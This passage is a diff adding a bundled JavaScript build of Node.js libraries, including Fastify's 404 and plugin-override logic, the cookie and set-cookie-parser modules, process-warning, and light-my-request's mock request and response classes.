router.defaultRoute = router.defaultRoute.bind(instance); + } + function basic404(request, reply) { + request.server[kLogController].routeNotFound(request, reply); + const { url: url2, method } = request.raw; + reply.code(404).send({ + message: `Route ${method}:${url2} not found`, + error: "Not Found", + statusCode: 404 + }); + } + function setContext(instance, context2) { + const _404Context = Object.create(instance[kFourOhFourContext]); + _404Context.onSend = context2.onSend; + context2[kFourOhFourContext] = _404Context; + } + function setNotFoundHandler(opts, handler, avvio, routeHandler) { + if (this[kCanSetNotFoundHandler] === void 0) { + this[kCanSetNotFoundHandler] = true; + } + if (this[kFourOhFourContext] === void 0) { + this[kFourOhFourContext] = null; + } + const _fastify = this; + const prefix = this[kRoutePrefix] || "/"; + if (this[kCanSetNotFoundHandler] === false) { + throw new Error(`Not found handler already set for Fastify instance with prefix: '${prefix}'`); + } + if (typeof opts === "object") { + if (opts.preHandler) { + if (Array.isArray(opts.preHandler)) { + opts.preHandler = opts.preHandler.map((hook) => hook.bind(_fastify)); + } else { + opts.preHandler = opts.preHandler.bind(_fastify); + } + } + if (opts.preValidation) { + if (Array.isArray(opts.preValidation)) { + opts.preValidation = opts.preValidation.map((hook) => hook.bind(_fastify)); + } else { + opts.preValidation = opts.preValidation.bind(_fastify); + } + } + } + if (typeof opts === "function") { + handler = opts; + opts = void 0; + } + opts = opts || {}; + if (handler) { + this[kFourOhFourLevelInstance][kCanSetNotFoundHandler] = false; + handler = handler.bind(this); + } else { + handler = basic404; + } + this.after((notHandledErr, done) => { + _setNotFoundHandler.call(this, prefix, opts, handler, avvio, routeHandler); + done(notHandledErr); + }); + } + function _setNotFoundHandler(prefix, opts, handler, avvio, routeHandler) { + const context2 = new Context({ + schema: opts.schema, + handler, + config: opts.config || {}, + server: this + }); + avvio.once("preReady", () => { + const context3 = this[kFourOhFourContext]; + for (const hook of lifecycleHooks) { + const toSet = this[kHooks][hook].concat(opts[hook] || []).map((h) => h.bind(this)); + context3[hook] = toSet.length ? toSet : null; + } + context3.errorHandler = opts.errorHandler ? buildErrorHandler(this[kErrorHandler], opts.errorHandler) : this[kErrorHandler]; + }); + if (this[kFourOhFourContext] !== null && prefix === "/") { + Object.assign(this[kFourOhFourContext], context2); + return; + } + this[kFourOhFourLevelInstance][kFourOhFourContext] = context2; + router.all(prefix + (prefix.endsWith("/") ? "*" : "/*"), routeHandler, context2); + router.all(prefix, routeHandler, context2); + } + function fourOhFourFallBack(req, res) { + const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; + const id = getGenReqId(fourOhFourContext.server, req); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); + const request = new Request(id, null, req, null, childLogger, fourOhFourContext); + const reply = new Reply(res, request, childLogger); + fourOhFourContext.server[kLogController].incomingRequest(request, reply); + request.log.warn("the default handler for 404 did not catch this, this is likely a fastify bug, please report it"); + request.log.warn(router.prettyPrint()); + reply.code(404).send(new FST_ERR_NOT_FOUND()); + } + } + module.exports = fourOhFour; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/plugin-override.js +var require_plugin_override = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/plugin-override.js"(exports, module) { + "use strict"; + var { + kAvvioBoot, + kChildren, + kRoutePrefix, + kLogLevel, + kLogSerializers, + kHooks, + kSchemaController, + kContentTypeParser, + kReply, + kRequest, + kFourOhFour, + kPluginNameChain, + kErrorHandlerAlreadySet + } = require_symbols3(); + var Reply = require_reply(); + var Request = require_request(); + var SchemaController = require_schema_controller(); + var ContentTypeParser = require_content_type_parser(); + var { buildHooks } = require_hooks(); + var pluginUtils = require_plugin_utils(); + module.exports = function override(old, fn, opts) { + const shouldSkipOverride = pluginUtils.registerPlugin.call(old, fn); + const fnName = pluginUtils.getPluginName(fn) || pluginUtils.getFuncPreview(fn); + if (shouldSkipOverride) { + old[kPluginNameChain].push(fnName); + return old; + } + const instance = Object.create(old); + old[kChildren].push(instance); + instance.ready = old[kAvvioBoot].bind(instance); + instance[kChildren] = []; + instance[kReply] = Reply.buildReply(instance[kReply]); + instance[kRequest] = Request.buildRequest(instance[kRequest]); + instance[kContentTypeParser] = ContentTypeParser.helpers.buildContentTypeParser(instance[kContentTypeParser]); + instance[kHooks] = buildHooks(instance[kHooks]); + instance[kRoutePrefix] = buildRoutePrefix(instance[kRoutePrefix], opts.prefix); + instance[kLogLevel] = opts.logLevel || instance[kLogLevel]; + instance[kSchemaController] = SchemaController.buildSchemaController(old[kSchemaController]); + instance.getSchema = instance[kSchemaController].getSchema.bind(instance[kSchemaController]); + instance.getSchemas = instance[kSchemaController].getSchemas.bind(instance[kSchemaController]); + instance[pluginUtils.kRegisteredPlugins] = Object.create(instance[pluginUtils.kRegisteredPlugins]); + instance[kPluginNameChain] = [fnName]; + instance[kErrorHandlerAlreadySet] = false; + if (instance[kLogSerializers] || opts.logSerializers) { + instance[kLogSerializers] = Object.assign(Object.create(instance[kLogSerializers]), opts.logSerializers); + } + if (opts.prefix) { + instance[kFourOhFour].arrange404(instance); + } + for (const hook of instance[kHooks].onRegister) hook.call(old, instance, opts); + return instance; + }; + function buildRoutePrefix(instancePrefix, pluginPrefix) { + if (!pluginPrefix) { + return instancePrefix; + } + if (instancePrefix.endsWith("/") && pluginPrefix[0] === "/") { + pluginPrefix = pluginPrefix.slice(1); + } else if (pluginPrefix[0] !== "/" && !instancePrefix.endsWith("/")) { + pluginPrefix = "/" + pluginPrefix; + } + return instancePrefix + pluginPrefix; + } + } +}); + +// node_modules/.pnpm/cookie@1.1.1/node_modules/cookie/dist/index.js +var require_dist5 = __commonJS({ + "node_modules/.pnpm/cookie@1.1.1/node_modules/cookie/dist/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.parseCookie = parseCookie; + exports.parse = parseCookie; + exports.stringifyCookie = stringifyCookie; + exports.stringifySetCookie = stringifySetCookie; + exports.serialize = stringifySetCookie; + exports.parseSetCookie = parseSetCookie; + exports.stringifySetCookie = stringifySetCookie; + exports.serialize = stringifySetCookie; + var cookieNameRegExp = /^[\u0021-\u003A\u003C\u003E-\u007E]+$/; + var cookieValueRegExp = /^[\u0021-\u003A\u003C-\u007E]*$/; + var domainValueRegExp = /^([.]?[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)([.][a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/i; + var pathValueRegExp = /^[\u0020-\u003A\u003D-\u007E]*$/; + var maxAgeRegExp = /^-?\d+$/; + var __toString = Object.prototype.toString; + var NullObject = /* @__PURE__ */ (() => { + const C = function() { + }; + C.prototype = /* @__PURE__ */ Object.create(null); + return C; + })(); + function parseCookie(str, options) { + const obj = new NullObject(); + const len = str.length; + if (len < 2) + return obj; + const dec = options?.decode || decode4; + let index2 = 0; + do { + const eqIdx = eqIndex(str, index2, len); + if (eqIdx === -1) + break; + const endIdx = endIndex(str, index2, len); + if (eqIdx > endIdx) { + index2 = str.lastIndexOf(";", eqIdx - 1) + 1; + continue; + } + const key = valueSlice(str, index2, eqIdx); + if (obj[key] === void 0) { + obj[key] = dec(valueSlice(str, eqIdx + 1, endIdx)); + } + index2 = endIdx + 1; + } while (index2 < len); + return obj; + } + function stringifyCookie(cookie, options) { + const enc = options?.encode || encodeURIComponent; + const cookieStrings = []; + for (const name of Object.keys(cookie)) { + const val = cookie[name]; + if (val === void 0) + continue; + if (!cookieNameRegExp.test(name)) { + throw new TypeError(`cookie name is invalid: ${name}`); + } + const value = enc(val); + if (!cookieValueRegExp.test(value)) { + throw new TypeError(`cookie val is invalid: ${val}`); + } + cookieStrings.push(`${name}=${value}`); + } + return cookieStrings.join("; "); + } + function stringifySetCookie(_name, _val, _opts) { + const cookie = typeof _name === "object" ? _name : { ..._opts, name: _name, value: String(_val) }; + const options = typeof _val === "object" ? _val : _opts; + const enc = options?.encode || encodeURIComponent; + if (!cookieNameRegExp.test(cookie.name)) { + throw new TypeError(`argument name is invalid: ${cookie.name}`); + } + const value = cookie.value ? enc(cookie.value) : ""; + if (!cookieValueRegExp.test(value)) { + throw new TypeError(`argument val is invalid: ${cookie.value}`); + } + let str = cookie.name + "=" + value; + if (cookie.maxAge !== void 0) { + if (!Number.isInteger(cookie.maxAge)) { + throw new TypeError(`option maxAge is invalid: ${cookie.maxAge}`); + } + str += "; Max-Age=" + cookie.maxAge; + } + if (cookie.domain) { + if (!domainValueRegExp.test(cookie.domain)) { + throw new TypeError(`option domain is invalid: ${cookie.domain}`); + } + str += "; Domain=" + cookie.domain; + } + if (cookie.path) { + if (!pathValueRegExp.test(cookie.path)) { + throw new TypeError(`option path is invalid: ${cookie.path}`); + } + str += "; Path=" + cookie.path; + } + if (cookie.expires) { + if (!isDate(cookie.expires) || !Number.isFinite(cookie.expires.valueOf())) { + throw new TypeError(`option expires is invalid: ${cookie.expires}`); + } + str += "; Expires=" + cookie.expires.toUTCString(); + } + if (cookie.httpOnly) { + str += "; HttpOnly"; + } + if (cookie.secure) { + str += "; Secure"; + } + if (cookie.partitioned) { + str += "; Partitioned"; + } + if (cookie.priority) { + const priority = typeof cookie.priority === "string" ? cookie.priority.toLowerCase() : void 0; + switch (priority) { + case "low": + str += "; Priority=Low"; + break; + case "medium": + str += "; Priority=Medium"; + break; + case "high": + str += "; Priority=High"; + break; + default: + throw new TypeError(`option priority is invalid: ${cookie.priority}`); + } + } + if (cookie.sameSite) { + const sameSite = typeof cookie.sameSite === "string" ? cookie.sameSite.toLowerCase() : cookie.sameSite; + switch (sameSite) { + case true: + case "strict": + str += "; SameSite=Strict"; + break; + case "lax": + str += "; SameSite=Lax"; + break; + case "none": + str += "; SameSite=None"; + break; + default: + throw new TypeError(`option sameSite is invalid: ${cookie.sameSite}`); + } + } + return str; + } + function parseSetCookie(str, options) { + const dec = options?.decode || decode4; + const len = str.length; + const endIdx = endIndex(str, 0, len); + const eqIdx = eqIndex(str, 0, endIdx); + const setCookie = eqIdx === -1 ? { name: "", value: dec(valueSlice(str, 0, endIdx)) } : { + name: valueSlice(str, 0, eqIdx), + value: dec(valueSlice(str, eqIdx + 1, endIdx)) + }; + let index2 = endIdx + 1; + while (index2 < len) { + const endIdx2 = endIndex(str, index2, len); + const eqIdx2 = eqIndex(str, index2, endIdx2); + const attr = eqIdx2 === -1 ? valueSlice(str, index2, endIdx2) : valueSlice(str, index2, eqIdx2); + const val = eqIdx2 === -1 ? void 0 : valueSlice(str, eqIdx2 + 1, endIdx2); + switch (attr.toLowerCase()) { + case "httponly": + setCookie.httpOnly = true; + break; + case "secure": + setCookie.secure = true; + break; + case "partitioned": + setCookie.partitioned = true; + break; + case "domain": + setCookie.domain = val; + break; + case "path": + setCookie.path = val; + break; + case "max-age": + if (val && maxAgeRegExp.test(val)) + setCookie.maxAge = Number(val); + break; + case "expires": + if (!val) + break; + const date6 = new Date(val); + if (Number.isFinite(date6.valueOf())) + setCookie.expires = date6; + break; + case "priority": + if (!val) + break; + const priority = val.toLowerCase(); + if (priority === "low" || priority === "medium" || priority === "high") { + setCookie.priority = priority; + } + break; + case "samesite": + if (!val) + break; + const sameSite = val.toLowerCase(); + if (sameSite === "lax" || sameSite === "strict" || sameSite === "none") { + setCookie.sameSite = sameSite; + } + break; + } + index2 = endIdx2 + 1; + } + return setCookie; + } + function endIndex(str, min, len) { + const index2 = str.indexOf(";", min); + return index2 === -1 ? len : index2; + } + function eqIndex(str, min, max) { + const index2 = str.indexOf("=", min); + return index2 < max ? index2 : -1; + } + function valueSlice(str, min, max) { + let start = min; + let end = max; + do { + const code = str.charCodeAt(start); + if (code !== 32 && code !== 9) + break; + } while (++start < end); + while (end > start) { + const code = str.charCodeAt(end - 1); + if (code !== 32 && code !== 9) + break; + end--; + } + return str.slice(start, end); + } + function decode4(str) { + if (str.indexOf("%") === -1) + return str; + try { + return decodeURIComponent(str); + } catch (e) { + return str; + } + } + function isDate(val) { + return __toString.call(val) === "[object Date]"; + } + } +}); + +// node_modules/.pnpm/process-warning@4.0.1/node_modules/process-warning/index.js +var require_process_warning2 = __commonJS({ + "node_modules/.pnpm/process-warning@4.0.1/node_modules/process-warning/index.js"(exports, module) { + "use strict"; + var { format } = __require("node:util"); + function createDeprecation(params) { + return createWarning({ ...params, name: "DeprecationWarning" }); + } + function createWarning({ name, code, message: message2, unlimited = false } = {}) { + if (!name) throw new Error("Warning name must not be empty"); + if (!code) throw new Error("Warning code must not be empty"); + if (!message2) throw new Error("Warning message must not be empty"); + if (typeof unlimited !== "boolean") throw new Error("Warning opts.unlimited must be a boolean"); + code = code.toUpperCase(); + let warningContainer = { + [name]: function(a, b2, c) { + if (warning.emitted === true && warning.unlimited !== true) { + return; + } + warning.emitted = true; + process.emitWarning(warning.format(a, b2, c), warning.name, warning.code); + } + }; + if (unlimited) { + warningContainer = { + [name]: function(a, b2, c) { + warning.emitted = true; + process.emitWarning(warning.format(a, b2, c), warning.name, warning.code); + } + }; + } + const warning = warningContainer[name]; + warning.emitted = false; + warning.message = message2; + warning.unlimited = unlimited; + warning.code = code; + warning.format = function(a, b2, c) { + let formatted; + if (a && b2 && c) { + formatted = format(message2, a, b2, c); + } else if (a && b2) { + formatted = format(message2, a, b2); + } else if (a) { + formatted = format(message2, a); + } else { + formatted = message2; + } + return formatted; + }; + return warning; + } + var out = { createWarning, createDeprecation }; + module.exports = out; + module.exports.default = out; + module.exports.processWarning = out; + } +}); + +// node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/parse-url.js +var require_parse_url = __commonJS({ + "node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/parse-url.js"(exports, module) { + "use strict"; + var { URL: URL2 } = __require("node:url"); + var BASE_URL = "http://localhost"; + module.exports = function parseURL(url2, query) { + if ((typeof url2 === "string" || Object.prototype.toString.call(url2) === "[object String]") && url2.startsWith("//")) { + url2 = BASE_URL + url2; + } + const result = typeof url2 === "object" ? Object.assign(new URL2(BASE_URL), url2) : new URL2(url2, BASE_URL); + if (typeof query === "string") { + query = new URLSearchParams(query); + for (const key of query.keys()) { + result.searchParams.delete(key); + for (const value of query.getAll(key)) { + result.searchParams.append(key, value); + } + } + } else { + const merged = Object.assign({}, url2.query, query); + for (const key in merged) { + const value = merged[key]; + if (Array.isArray(value)) { + result.searchParams.delete(key); + for (const param of value) { + result.searchParams.append(key, param); + } + } else { + result.searchParams.set(key, value); + } + } + } + return result; + }; + } +}); + +// node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/form-data.js +var require_form_data = __commonJS({ + "node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/form-data.js"(exports, module) { + "use strict"; + var { randomUUID: randomUUID2 } = __require("node:crypto"); + var { Readable } = __require("node:stream"); + var textEncoder; + function isFormDataLike(payload) { + return payload && typeof payload === "object" && typeof payload.append === "function" && typeof payload.delete === "function" && typeof payload.get === "function" && typeof payload.getAll === "function" && typeof payload.has === "function" && typeof payload.set === "function" && payload[Symbol.toStringTag] === "FormData"; + } + function formDataToStream(formdata) { + textEncoder = textEncoder ?? new TextEncoder(); + const boundary = `----formdata-${randomUUID2()}`; + const prefix = `--${boundary}\r +Content-Disposition: form-data`; + const escape3 = (str) => str.replace(/\n/g, "%0A").replace(/\r/g, "%0D").replace(/"/g, "%22"); + const normalizeLinefeeds = (value) => value.replace(/\r?\n|\r/g, "\r\n"); + const linebreak = new Uint8Array([13, 10]); + async function* asyncIterator() { + for (const [name, value] of formdata) { + if (typeof value === "string") { + yield textEncoder.encode(`${prefix}; name="${escape3(normalizeLinefeeds(name))}"\r +\r +`); + yield textEncoder.encode(`${normalizeLinefeeds(value)}\r +`); + } else { + let header = `${prefix}; name="${escape3(normalizeLinefeeds(name))}"`; + value.name && (header += `; filename="${escape3(value.name)}"`); + header += `\r +Content-Type: ${value.type || "application/octet-stream"}\r +\r +`; + yield textEncoder.encode(header); + if (value.stream) { + yield* value.stream(); + } else { + yield value; + } + yield linebreak; + } + } + yield textEncoder.encode(`--${boundary}--`); + } + const stream = Readable.from(asyncIterator()); + return { + stream, + contentType: `multipart/form-data; boundary=${boundary}` + }; + } + module.exports.isFormDataLike = isFormDataLike; + module.exports.formDataToStream = formDataToStream; + } +}); + +// node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/request.js +var require_request2 = __commonJS({ + "node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/request.js"(exports, module) { + "use strict"; + var { Readable, addAbortSignal } = __require("node:stream"); + var util = __require("node:util"); + var cookie = require_dist5(); + var assert2 = __require("node:assert"); + var { createDeprecation } = require_process_warning2(); + var parseURL = require_parse_url(); + var { isFormDataLike, formDataToStream } = require_form_data(); + var { EventEmitter } = __require("node:events"); + var FST_LIGHTMYREQUEST_DEP01 = createDeprecation({ + name: "FastifyDeprecationLightMyRequest", + code: "FST_LIGHTMYREQUEST_DEP01", + message: 'You are accessing "request.connection", use "request.socket" instead.' + }); + function hostHeaderFromURL(parsedURL) { + return parsedURL.port ? parsedURL.host : parsedURL.hostname + (parsedURL.protocol === "https:" ? ":443" : ":80"); + } + var MockSocket = class extends EventEmitter { + constructor(remoteAddress) { + super(); + this.remoteAddress = remoteAddress; + } + }; + function CustomRequest(options) { + return new _CustomLMRRequest(this); + function _CustomLMRRequest(obj) { + Request.call(obj, { + ...options, + Request: void 0 + }); + Object.assign(this, obj); + for (const fn of Object.keys(Request.prototype)) { + this.constructor.prototype[fn] = Request.prototype[fn]; + } + util.inherits(this.constructor, options.Request); + return this; + } + } + function Request(options) { + Readable.call(this, { + autoDestroy: false + }); + const parsedURL = parseURL(options.url || options.path, options.query); + this.url = parsedURL.pathname + parsedURL.search; + this.aborted = false; + this.httpVersionMajor = 1; + this.httpVersionMinor = 1; + this.httpVersion = "1.1"; + this.method = options.method ? options.method.toUpperCase() : "GET"; + this.headers = {}; + this.rawHeaders = []; + const headers = options.headers || {}; + for (const field in headers) { + const fieldLowerCase = field.toLowerCase(); + if ((fieldLowerCase === "user-agent" || fieldLowerCase === "content-type") && headers[field] === void 0) { + this.headers[fieldLowerCase] = void 0; + continue; + } + const value = headers[field]; + assert2(value !== void 0, 'invalid value "undefined" for header ' + field); + this.headers[fieldLowerCase] = "" + value; + } + if ("user-agent" in this.headers === false) { + this.headers["user-agent"] = "lightMyRequest"; + } + this.headers.host = this.headers.host || options.authority || hostHeaderFromURL(parsedURL); + if (options.cookies) { + const { cookies } = options; + const cookieValues = Object.keys(cookies).map((key) => cookie.serialize(key, cookies[key])); + if (this.headers.cookie) { + cookieValues.unshift(this.headers.cookie); + } + this.headers.cookie = cookieValues.join("; "); + } + this.socket = new MockSocket(options.remoteAddress || "127.0.0.1"); + Object.defineProperty(this, "connection", { + get() { + FST_LIGHTMYREQUEST_DEP01(); + return this.socket; + }, + configurable: true + }); + let payload = options.payload || options.body || null; + let payloadResume = payload && typeof payload.resume === "function"; + if (isFormDataLike(payload)) { + const stream = formDataToStream(payload); + payload = stream.stream; + payloadResume = true; + this.headers["content-type"] = stream.contentType; + this.headers["transfer-encoding"] = "chunked"; + } + if (payload && typeof payload !== "string" && !payloadResume && !Buffer.isBuffer(payload)) { + payload = JSON.stringify(payload); + if ("content-type" in this.headers === false) { + this.headers["content-type"] = "application/json"; + } + } + if (payload && !payloadResume && !Object.hasOwn(this.headers, "content-length")) { + this.headers["content-length"] = (Buffer.isBuffer(payload) ? payload.length : Buffer.byteLength(payload)).toString(); + } + for (const header of Object.keys(this.headers)) { + this.rawHeaders.push(header, this.headers[header]); + } + this._lightMyRequest = { + payload, + isDone: false, + simulate: options.simulate || {}, + payloadAsStream: options.payloadAsStream, + signal: options.signal + }; + const signal = options.signal; + if (signal) { + addAbortSignal(signal, this); + } + { + const payload2 = this._lightMyRequest.payload; + if (payload2?._readableState) { + this._read = readStream; + payload2.on("error", (err) => { + this.destroy(err); + }); + payload2.on("end", () => { + this.push(null); + }); + } else { + this._read = readEverythingElse; + } + } + return this; + } + function readStream() { + const payload = this._lightMyRequest.payload; + let more = true; + let pushed = false; + let chunk; + while (more && (chunk = payload.read())) { + pushed = true; + more = this.push(chunk); + } + if (more && !pushed) { + this._lightMyRequest.payload.once("readable", this._read.bind(this)); + } + } + function readEverythingElse() { + setImmediate(() => { + if (this._lightMyRequest.isDone) { + if (this._lightMyRequest.simulate.end !== false) { + this.push(null); + } + return; + } + this._lightMyRequest.isDone = true; + if (this._lightMyRequest.payload) { + if (this._lightMyRequest.simulate.split) { + this.push(this._lightMyRequest.payload.slice(0, 1)); + this.push(this._lightMyRequest.payload.slice(1)); + } else { + this.push(this._lightMyRequest.payload); + } + } + if (this._lightMyRequest.simulate.error) { + this.emit("error", new Error("Simulated")); + } + if (this._lightMyRequest.simulate.close) { + this.emit("close"); + } + if (this._lightMyRequest.simulate.end !== false) { + this.push(null); + } + }); + } + util.inherits(Request, Readable); + util.inherits(CustomRequest, Request); + Request.prototype.destroy = function(error51) { + if (this.destroyed || this._lightMyRequest.isDone) return; + this.destroyed = true; + if (error51) { + this._error = true; + process.nextTick(() => this.emit("error", error51)); + } + process.nextTick(() => this.emit("close")); + }; + module.exports = Request; + module.exports.Request = Request; + module.exports.CustomRequest = CustomRequest; + } +}); + +// node_modules/.pnpm/set-cookie-parser@2.7.2/node_modules/set-cookie-parser/lib/set-cookie.js +var require_set_cookie = __commonJS({ + "node_modules/.pnpm/set-cookie-parser@2.7.2/node_modules/set-cookie-parser/lib/set-cookie.js"(exports, module) { + "use strict"; + var defaultParseOptions = { + decodeValues: true, + map: false, + silent: false + }; + function isForbiddenKey(key) { + return typeof key !== "string" || key in {}; + } + function createNullObj() { + return /* @__PURE__ */ Object.create(null); + } + function isNonEmptyString(str) { + return typeof str === "string" && !!str.trim(); + } + function parseString(setCookieValue, options) { + var parts = setCookieValue.split(";").filter(isNonEmptyString); + var nameValuePairStr = parts.shift(); + var parsed = parseNameValuePair(nameValuePairStr); + var name = parsed.name; + var value = parsed.value; + options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; + if (isForbiddenKey(name)) { + return null; + } + try { + value = options.decodeValues ? decodeURIComponent(value) : value; + } catch (e) { + console.error( + "set-cookie-parser: failed to decode cookie value. Set options.decodeValues=false to disable decoding.", + e + ); + } + var cookie = createNullObj(); + cookie.name = name; + cookie.value = value; + parts.forEach(function(part) { + var sides = part.split("="); + var key = sides.shift().trimLeft().toLowerCase(); + if (isForbiddenKey(key)) { + return; + } + var value2 = sides.join("="); + if (key === "expires") { + cookie.expires = new Date(value2); + } else if (key === "max-age") { + var n = parseInt(value2, 10); + if (!Number.isNaN(n)) cookie.maxAge = n; + } else if (key === "secure") { + cookie.secure = true; + } else if (key === "httponly") { + cookie.httpOnly = true; + } else if (key === "samesite") { + cookie.sameSite = value2; + } else if (key === "partitioned") { + cookie.partitioned = true; + } else if (key) { + cookie[key] = value2; + } + }); + return cookie; + } + function parseNameValuePair(nameValuePairStr) { + var name = ""; + var value = ""; + var nameValueArr = nameValuePairStr.split("="); + if (nameValueArr.length > 1) { + name = nameValueArr.shift(); + value = nameValueArr.join("="); + } else { + value = nameValuePairStr; + } + return { name, value }; + } + function parse4(input, options) { + options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; + if (!input) { + if (!options.map) { + return []; + } else { + return createNullObj(); + } + } + if (input.headers) { + if (typeof input.headers.getSetCookie === "function") { + input = input.headers.getSetCookie(); + } else if (input.headers["set-cookie"]) { + input = input.headers["set-cookie"]; + } else { + var sch = input.headers[Object.keys(input.headers).find(function(key) { + return key.toLowerCase() === "set-cookie"; + })]; + if (!sch && input.headers.cookie && !options.silent) { + console.warn( + "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." + ); + } + input = sch; + } + } + if (!Array.isArray(input)) { + input = [input]; + } + if (!options.map) { + return input.filter(isNonEmptyString).map(function(str) { + return parseString(str, options); + }).filter(Boolean); + } else { + var cookies = createNullObj(); + return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + var cookie = parseString(str, options); + if (cookie && !isForbiddenKey(cookie.name)) { + cookies2[cookie.name] = cookie; + } + return cookies2; + }, cookies); + } + } + function splitCookiesString(cookiesString) { + if (Array.isArray(cookiesString)) { + return cookiesString; + } + if (typeof cookiesString !== "string") { + return []; + } + var cookiesStrings = []; + var pos = 0; + var start; + var ch; + var lastComma; + var nextStart; + var cookiesSeparatorFound; + function skipWhitespace() { + while (pos < cookiesString.length && /\s/.test(cookiesString.charAt(pos))) { + pos += 1; + } + return pos < cookiesString.length; + } + function notSpecialChar() { + ch = cookiesString.charAt(pos); + return ch !== "=" && ch !== ";" && ch !== ","; + } + while (pos < cookiesString.length) { + start = pos; + cookiesSeparatorFound = false; + while (skipWhitespace()) { + ch = cookiesString.charAt(pos); + if (ch === ",") { + lastComma = pos; + pos += 1; + skipWhitespace(); + nextStart = pos; + while (pos < cookiesString.length && notSpecialChar()) { + pos += 1; + } + if (pos < cookiesString.length && cookiesString.charAt(pos) === "=") { + cookiesSeparatorFound = true; + pos = nextStart; + cookiesStrings.push(cookiesString.substring(start, lastComma)); + start = pos; + } else { + pos = lastComma + 1; + } + } else { + pos += 1; + } + } + if (!cookiesSeparatorFound || pos >= cookiesString.length) { + cookiesStrings.push(cookiesString.substring(start, cookiesString.length)); + } + } + return cookiesStrings; + } + module.exports = parse4; + module.exports.parse = parse4; + module.exports.parseString = parseString; + module.exports.splitCookiesString = splitCookiesString; + } +}); + +// node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/response.js +var require_response = __commonJS({ + "node_modules/.pnpm/light-my-request@6.6.0/node_modules/light-my-request/lib/response.js"(exports, module) { + "use strict"; + var http = __require("node:http"); + var { Writable, Readable, addAbortSignal } = __require("node:stream"); + var util = __require("node:util"); + var setCookie = require_set_cookie(); + function Response(req, onEnd, reject) { + http.ServerResponse.call(this, req); + if (req._lightMyRequest?.payloadAsStream) { + const read = this.emit.bind(this, "drain"); + this._lightMyRequest = { headers: null, trailers: {}, stream: new Readable({ read }) }; + const signal = req._lightMyRequest.signal; + if (signal) { + addAbortSignal(signal, this._lightMyRequest.stream); + } + } else { + this._lightMyRequest = { headers: null, trailers: {}, payloadChunks: [] }; + } + this.setHeader("foo", "bar"); + this.removeHeader("foo"); + this.assignSocket(getNullSocket()); + this._promiseCallback = typeof reject === "function"; + let called = false; + const onEndSuccess = (payload) => { + if (called) return; + called = true; + if (this._promiseCallback) { + return process.nextTick(() => onEnd(payload)); + } + process.nextTick(() => onEnd(null, payload)); + }; + this._lightMyRequest.onEndSuccess = onEndSuccess; + let finished = false; + const onEndFailure = (err) => { + if (called) { + if (this._lightMyRequest.stream && !finished) { + if (!err) { + err = new Error("response destroyed before completion"); + err.code = "LIGHT_ECONNRESET"; + } + this._lightMyRequest.stream.destroy(err); + this._lightMyRequest.stream.on("error", () => { + }); + } + return; + } + called = true; + if (!err) { + err = new Error("response destroyed before completion"); + err.code = "LIGHT_ECONNRESET"; + } + if (this._promiseCallback) { + return process.nextTick(() => reject(err)); + } + process.nextTick(() => onEnd(err, null)); + }; + if (this._lightMyRequest.stream) { + this.once("finish", () => { + finished = true; + this._lightMyRequest.stream.push(null); + }); + } else { + this.once("finish", () => { + const res = generatePayload(this); + res.raw.req = req; + onEndSuccess(res); + }); + } + this.connection.once("error", onEndFailure); + this.once("error", onEndFailure); + this.once("close", onEndFailure); + } + util.inherits(Response, http.ServerResponse); + Response.prototype.setTimeout = function(msecs, callback) { + this.timeoutHandle = setTimeout(() => { + this.emit("timeout"); + }, msecs); + this.on("timeout", callback); + return this; + }; + Response.prototype.writeHead = function() { + const result = http.ServerResponse.prototype.writeHead.apply(this, arguments); + copyHeaders(this); + if (this._lightMyRequest.stream) { + this._lightMyRequest.onEndSuccess(generatePayload(this)); + } + return result; + }; + Response.prototype.write = function(data, encoding, callback) { + if (this.timeoutHandle) { + clearTimeout(this.timeoutHandle); + } + http.ServerResponse.prototype.write.call(this, data, encoding, callback); + if (this._lightMyRequest.stream) { + return this._lightMyRequest.stream.push(Buffer.from(data, encoding)); + } else { + this._lightMyRequest.payloadChunks.push(Buffer.from(data, encoding)); + return true; + } + }; + Response.prototype.end = function(data, encoding, callback) { + if (data) { + this.write(data, encoding); + } + http.ServerResponse.prototype.end.call(this, callback); + this.emit("finish"); + this.destroy(); + }; + Response.prototype.destroy = function(error51) { + if (this.destroyed) return; + this.destroyed = true; + if (error51) { + process.nextTick(() => this.emit("error", error51)); + } + process.nextTick(() => this.emit("close")); + }; + Response.prototype.addTrailers = function(trailers) { + for (const key in trailers) { + this._lightMyRequest.trailers[key.toLowerCase().trim()] = trailers[key].toString().trim(); + } + }; + function generatePayload(response) { + if (response._lightMyRequest.headers === null) { + copyHeaders(response); + } + serializeHeaders(response); + const res = { + raw: { + res: response + }, + headers: response._lightMyRequest.headers, + statusCode: response.statusCode, + statusMessage: response.statusMessage, + trailers: {}, + get cookies() { + return setCookie.parse(this); + } + }; + res.trailers = response._lightMyRequest.trailers; + if (response._lightMyRequest.payloadChunks) { + const rawBuffer = Buffer.concat(response._lightMyRequest.payloadChunks); + res.rawPayload = rawBuffer; + res.payload = rawBuffer.toString(); + res.body = res.payload; + res.json = function parseJsonPayload() { + return JSON.parse(res.payload); + }; + } else { + res.json = function() { + throw new Error("Response payload is not available with payloadAsStream: true"); + }; + } + res.stream = function streamPayload() { + if (response._lightMyRequest.stream) { + return response._lightMyRequest.stream; + } + return Readable.from(response._lightMyRequest.payloadChunks); + }; + return res; + } + function getNullSocket() { + return new Writable({ + write(_chunk, _encoding, callback) { + setImmediate(callback); + } + }); + } + function serializeHeaders(response) { + const headers = 